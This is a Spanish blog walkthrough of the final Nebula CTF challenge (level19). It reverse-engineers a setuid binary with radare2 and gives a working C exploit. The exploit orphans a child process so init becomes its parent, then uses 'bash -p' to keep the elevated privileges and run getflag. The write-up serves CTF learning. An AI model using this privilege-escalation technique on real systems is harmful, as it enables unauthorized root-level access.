Pages

miércoles, 25 de julio de 2018

Nebula CTF - level19

Tras un enriquecedor y estimulante camino, alcanzamos por fin el último reto de la máquina Nebula, dedicada a explorar los conceptos básicos sobre vulnerabilidades en entornos de desarrollo Unix. Veamos si podemos completar con éxito el desafío final:

level19@nebula:/home/flag19$ ls -al
total 13
drwxr-x--- 2 flag19 level19   80 2011-11-20 21:22 .
drwxr-xr-x 1 root   root      80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag19 flag19   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag19 flag19  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag19 level19 7480 2011-11-20 21:22 flag19
-rw-r--r-- 1 flag19 flag19   675 2011-05-18 02:54 .profile

Un binario, como no podía ser menos. Al ejecutar ./flag19 simplemente obtenemos por respuesta:

You are unauthorized to run this program

Indagamos con radare2 para extraer toda la información:

dpc@kernelinside:~$ r2 ./flag19
 -- Enable asm.trace to see the tracing information inside the disassembly
[0x080484a0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[0x080484a0]> iz
000 0x00000730 0x08048730   8   9 (.rodata) ascii /proc/%d
001 0x0000073c 0x0804873c  30  31 (.rodata) ascii Unable to check parent process
002 0x0000075b 0x0804875b   7   8 (.rodata) ascii /bin/sh
003 0x00000763 0x08048763  16  17 (.rodata) ascii Unable to execve
004 0x00000774 0x08048774  40  41 (.rodata) ascii You are unauthorized to run this program

Parece que existe la posibilidad de invocar otra shell con permisos elevados. Examinamos las funciones más interesantes:

[0x080484a0]> afl
0x080483bc    3 46           sym._init
0x08048400    1 6            sym.imp.__stack_chk_fail
0x08048410    1 6            sym.imp.err
0x08048420    1 6            sym.imp.__xstat
0x08048430    1 6            sym.imp.puts
0x08048440    1 6            loc.imp.__gmon_start
0x08048450    1 6            sym.imp.exit
0x08048460    1 6            sym.imp.__libc_start_main
0x08048470    1 6            sym.imp.execve
0x08048480    1 6            sym.imp.snprintf
0x08048490    1 6            sym.imp.getppid
0x080484a0    1 33           entry0
0x080484d0    6 85           sym.__do_global_dtors_aux
0x08048530    4 35           sym.frame_dummy
0x08048554    7 219          sym.main
0x08048630    4 97           sym.__libc_csu_init
0x080486a0    1 2            sym.__libc_csu_fini
0x080486a2    1 4            sym.__i686.get_pc_thunk.bx
0x080486b0    1 48           sym.__stat
0x080486e0    4 42           sym.__do_global_ctors_aux
0x0804870c    1 26           sym._fini

Como funciones locales solo tenemos a main(), y no parece ser muy grande, por otro lado sí destacan las llamadas a geppid() y execve(), esta última confirmando la pista anterior. No nos entretenemos más y entramos de lleno en main():

[0x080484a0]> s sym.main
[0x08048554]> pdf
|           ;-- main:
/ (fcn) sym.main 219
|   sym.main (int arg_ch, int arg_10h);
|           ; arg int arg_ch @ ebp+0xc
|           ; arg int arg_10h @ ebp+0x10
|           ; var size_t size @ esp+0x4
|           ; var char *format @ esp+0x8
|           ; var int local_ch @ esp+0xc
|           ; var int local_18h @ esp+0x18
|           ; var int local_1ch @ esp+0x1c
|           ; var int local_24h @ esp+0x24
|           ; var int local_3ch @ esp+0x3c
|           ; var char *s @ esp+0x7c
|           ; var int local_17ch @ esp+0x17c
|           ; DATA XREF from entry0 (0x80484b7)
|           0x08048554      push ebp
|           0x08048555      mov ebp, esp
|           0x08048557      and esp, 0xfffffff0
|           0x0804855a      sub esp, 0x180
|           0x08048560      mov eax, dword [arg_ch]                    ; [0xc:4]=-1 ; 12
|           0x08048563      mov dword [local_1ch], eax
|           0x08048567      mov eax, dword [arg_10h]                   ; [0x10:4]=-1 ; 16
|           0x0804856a      mov dword [local_18h], eax
|           0x0804856e      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x08048574      mov dword [local_17ch], eax
|           0x0804857b      xor eax, eax
|           0x0804857d      call sym.imp.getppid
|           0x08048582      mov edx, str.proc__d                       ; 0x8048730 ; "/proc/%d"
|           0x08048587      mov dword [local_ch], eax                  ; ...
|           0x0804858b      mov dword [format], edx                    ; const char *format
|           0x0804858f      mov dword [size], 0xff                     ; [0xff:4]=-1 ; 255 ; size_t size
|           0x08048597      lea eax, [s]                               ; 0x7c ; '|' ; 124
|           0x0804859b      mov dword [esp], eax                       ; char *s
|           0x0804859e      call sym.imp.snprintf                      ; int snprintf(char *s, size_t size, const char *format, ...)

Hasta aquí dos llamadas de sistema bastante simples, se obtiene mediante getppid() el identificador PID del proceso padre y se llama a snprintf() para crear la cadena "/proc/$PPID" (donde $PPID es el valor obtenido anteriormente). Continuamos:

|           0x080485a3      lea eax, [s]                               ; 0x7c ; '|' ; 124
|           0x080485a7      lea edx, [local_24h]                       ; 0x24 ; '$' ; 36
|           0x080485ab      mov dword [size], edx
|           0x080485af      mov dword [esp], eax
|           0x080485b2      call sym.__stat
|           0x080485b7      cmp eax, 0xffffffffffffffff
|       ,=< 0x080485ba      jne 0x80485d4
|       |   0x080485bc      mov dword [esp], str.Unable_to_check_parent_process ; [0x804873c:4]=0x62616e55 ; "Unable to check parent process" ; const char *s
|       |   0x080485c3      call sym.imp.puts                          ; int puts(const char *s)
|       |   0x080485c8      mov dword [esp], 1                         ; int status
|       |   0x080485cf      call sym.imp.exit                          ; void exit(int status)

Se llama a stat() sobre el path construido hace un momento. En caso de error se imprime un mensaje y exit() nos saca fuera del programa, en caso contrario sigue así:

|       `-> 0x080485d4      mov eax, dword [local_3ch]                 ; [0x3c:4]=-1 ; '<' ; 60
|           0x080485d8      test eax, eax
|       ,=< 0x080485da      jne 0x804860c
|       |   0x080485dc      mov eax, dword [local_18h]                 ; [0x18:4]=-1 ; 24
|       |   0x080485e0      mov dword [format], eax
|       |   0x080485e4      mov eax, dword [local_1ch]                 ; [0x1c:4]=-1 ; 28
|       |   0x080485e8      mov dword [size], eax
|       |   0x080485ec      mov dword [esp], str.bin_sh                ; [0x804875b:4]=0x6e69622f ; "/bin/sh"
|       |   0x080485f3      call sym.imp.execve

Aquí se encuentra el quiz del reto. Se compara uno de los campos de la structura stat obtenida anteriormente con el valor 0, en caso de ser iguales execve() es invocado. Descubrimos mediante ltrace que en realidad ./flag19 llama a stat64(), y que el campo a chequear es st_uid, es decir, se está comprobando si el propietario del proceso padre de ./flag19 es el usuario root.

Existen dos posibilidades:

Primero. La salida del comando ps mostrada a continuación, nos revela que el propietario del proceso login es root, por lo que si pudieramos cambiar la shell de inicio del usuario level19 por el binario ./flag19, entonces habríamos logrado nuestro objetivo. Por desgracia, un comando como chsh level19 -s /home/flag19/flag19 nos advertirá de que ./flag19 no es una shell válida, y lo será mientras no podamos incluir el binario dentro del archivo de configuración /etc/shells, para el cual, por supuesto, no tenemos permisos de escritura.

level19@nebula:/home/flag19$ ps -aux
...
...
root      1261  0.0  0.1   4972  1824 tty1     Ss   07:31   0:00 /bin/login --        
level19   1287  0.0  0.6  10256  6684 tty1     S+   07:31   0:00 -sh

Segundo. Cualquier proceso en Linux (y en la práctica casi cualquier variante derivada de Unix) que se quede huérfano, será adoptado por el proceso init, cuyo propietario es el usuario root. Esta información es suficente para construir un programa que llame a fork() y, una vez que el proceso padre haya terminado, invocar execve() con el binario ./flag19.

Solo debemos de tener en cuenta un par de detalles. Cuando ./flag19 llame a execve("/bin/sh"), lo hará pasándole los mismos argumentos que nosotros hemos pasado a ./flag19 en nuestra particular llamada a execve(). Por otro lado, en esta clase de retos, en los que un programa con el bit suid activado invoca una nueva shell, se suele utilizar algun tipo de wrapper tal como el que se muestra a continuación:

int main()
{
    setresuid(geteuid(), geteuid(), geteuid());
    system("/bin/bash");
}

Esto restablece los privilegios de ejecución a los que poseía el propietario del binario vulnerable. Para evitar esta molesta indirección, he aprovechado una opción muy interesante que ofrece bash y que logra el mismo objetivo:

`-p'

      Turn on privileged mode.  In this mode, the `$BASH_ENV' and
      `$ENV' files are not processed, shell functions are not
      inherited from the environment, and the `SHELLOPTS',
      `BASHOPTS', `CDPATH' and `GLOBIGNORE' variables, if they
      appear in the environment, are ignored.  If the shell is
      started with the effective user (group) id not equal to the
      real user (group) id, and the `-p' option is not supplied,
      these actions are taken and the effective user id is set to
      the real user id.  If the `-p' option is supplied at startup,
      the effective user id is not reset.  Turning this option off
      causes the effective user and group ids to be set to the real
      user and group ids.

Si lanzamos bash con la opción -p, entraremos en modo privilegiado, y bash no dropeará los privilegios que hemos conseguido al explotar la vulnerabilidad. Ahora nuestro exploit en C:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

extern char **environ;

int main()
{
        char *const args[] = {"/bin/sh", "-p", "-c", "/bin/getflag > /tmp/l19pwned", NULL};
        pid_t pid;

        if ((pid = fork()) == 0)
        {
                sleep(1); // El proceso padre siempre morirá antes

                execve("/home/flag19/flag19", args, environ);
                _exit(1);
        }
        else
        {
                exit(0);
        }
}

Y apretamos el botón rojo:

level19@nebula:/tmp$ ./l19exploit
level19@nebula:/tmp$ ls
l19exploit  l19exploit.c  l19pwned
level19@nebula:/tmp$ cat l19pwned 
You have successfully executed getflag on a target account

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...